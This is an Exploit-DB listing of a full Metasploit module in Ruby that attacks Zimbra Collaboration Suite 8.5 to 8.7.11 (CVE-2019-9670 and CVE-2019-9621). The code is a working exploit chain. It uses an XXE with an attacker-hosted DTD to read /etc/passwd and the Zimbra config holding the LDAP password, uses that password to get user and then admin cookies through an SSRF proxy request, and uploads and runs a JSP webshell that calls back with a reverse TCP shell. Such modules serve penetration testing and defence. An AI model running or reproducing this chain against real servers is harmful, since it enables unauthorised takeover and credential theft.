Zimbra Collaboration – Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)

  • 作者: Metasploit
    日期: 2019-04-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46693/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
    'Description'=> %q{
    This module exploits an XML external entity vulnerability and a
    server side request forgery to get unauthenticated code execution
    on Zimbra Collaboration Suite. The XML external entity vulnerability
    in the Autodiscover Servlet is used to read a Zimbra configuration
    file that contains an LDAP password for the 'zimbra' account. The
    zimbra credentials are then used to get a user authentication cookie
    with an AuthRequest message. Using the user cookie, a server side request
    forgery in the Proxy Servlet is used to proxy an AuthRequest with
    the 'zimbra' credentials to the admin port to retrieve an admin
    cookie. After gaining an admin cookie the Client Upload servlet is
    used to upload a JSP webshell that can be triggered from the web
    server to get command execution on the host. The issues reportedly
    affect Zimbra Collaboration Suite v8.5 to v8.7.11.
    
    This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
    UBUNTU16_64 FOSS edition.
    },
    'Author' =>
    [
    'An Trinh', # Discovery
    'Khanh Viet Pham',# Discovery
    'Jacob Robles'# Metasploit module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2019-9670'],
    ['CVE', '2019-9621'],
    ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
    ],
    'Platform' => ['linux'],
    'Arch' => ARCH_JAVA,
    'Targets'=>
    [
    [ 'Automatic', { } ]
    ],
    'DefaultOptions' => {
    'RPORT' => 8443,
    'SSL' => true,
    'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
    },
    'Stance' => Stance::Aggressive,
    'DefaultTarget'=> 0,
    'DisclosureDate' => '2019-03-13' # Blog post date
    ))
    
    register_options [
    OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
    OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
    ]
    end
    
    def xxe_req(data)
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri, '/autodiscover'),
    'encode_params' => false,
    'data' => data
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
    res
    end
    
    def soap_discover(check_soap=false)
    xml = REXML::Document.new
    
    xml.add_element('Autodiscover')
    xml.root.add_element('Request')
    
    req = xml.root.elements[1]
    
    req.add_element('EMailAddress')
    req.add_element('AcceptableResponseSchema')
    
    replace_text = 'REPLACE'
    req.elements['EMailAddress'].text = Faker::Internet.email
    req.elements['AcceptableResponseSchema'].text = replace_text
    
    doc = rand_text_alpha_lower(4..8)
    entity = rand_text_alpha_lower(4..8)
    local_file = '/etc/passwd'
    
    res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
    if check_soap
    local = "file://#{local_file}"
    res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
    res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
    else
    local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
    res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
    res << "%#{entity};]>"
    res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
    end
    res
    end
    
    def soap_auth(zimbra_user, zimbra_pass, admin=true)
    urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
    xml = REXML::Document.new
    
    xml.add_element(
    'soap:Envelope',
    {'xmlns:soap'=> 'http://www.w3.org/2003/05/soap-envelope'}
    )
    
    xml.root.add_element('soap:Body')
    body = xml.root.elements[1]
    body.add_element(
    'AuthRequest',
    {'xmlns' => urn}
    )
    
    zimbra_acc = body.elements[1]
    zimbra_acc.add_element(
    'account',
    {'by' => 'adminName'}
    )
    zimbra_acc.add_element('password')
    
    zimbra_acc.elements['account'].text= zimbra_user
    zimbra_acc.elements['password'].text = zimbra_pass
    
    xml.to_s
    end
    
    def cookie_req(data)
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri, '/service/soap/'),
    'data' => data
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
    res
    end
    
    def proxy_req(data, auth_cookie)
    target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri, '/service/proxy/'),
    'vars_get' => {'target' => target},
    'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
    'data' => data,
    'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
    res
    end
    
    def upload_file(file_name, contents, cookie)
    data = Rex::MIME::Message.new
    data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
    data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
    data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
    post_data = data.to_s
    
    send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data'=> post_data,
    'cookie'=> cookie
    })
    end
    
    def check
    begin
    res = xxe_req(soap_discover(true))
    rescue Msf::Exploit::Failed
    return CheckCode::Unknown
    end
    
    if res.body.include?('zimbra')
    return CheckCode::Vulnerable
    end
    
    CheckCode::Unknown
    end
    
    def on_request_uri(cli, req)
    ent_file = rand_text_alpha_lower(4..8)
    ent_eval = rand_text_alpha_lower(4..8)
    
    dtd =<<~HERE
    <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
    <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
    %#{ent_eval};
    HERE
    send_response(cli, dtd)
    end
    
    def primer
    datastore['SSL'] = @ssl
    res = xxe_req(soap_discover)
    fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
    password = $1
    username = 'zimbra'
    
    print_good("Password found: #{password}")
    
    data = soap_auth(username, password, false)
    res = cookie_req(data)
    
    fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
    auth_cookie = $1
    
    print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
    
    data = soap_auth(username, password)
    res = proxy_req(data, auth_cookie)
    
    fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
    admin_cookie = $1
    
    print_good("Admin cookie retrieved: #{admin_cookie}")
    
    stager_name = "#{rand_text_alpha(8..16)}.jsp"
    print_status('Uploading jsp shell')
    res = upload_file(stager_name, payload.encoded, admin_cookie)
    
    fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
    # Only shell sessions are supported
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")
    
    print_status("Executing payload on /downloads/#{stager_name}")
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
    'cookie'=> admin_cookie
    })
    end
    
    def exploit
    @ent_data = rand_text_alpha_lower(4..8)
    @ssl = datastore['SSL']
    datastore['SSL'] = false
    Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    end
    end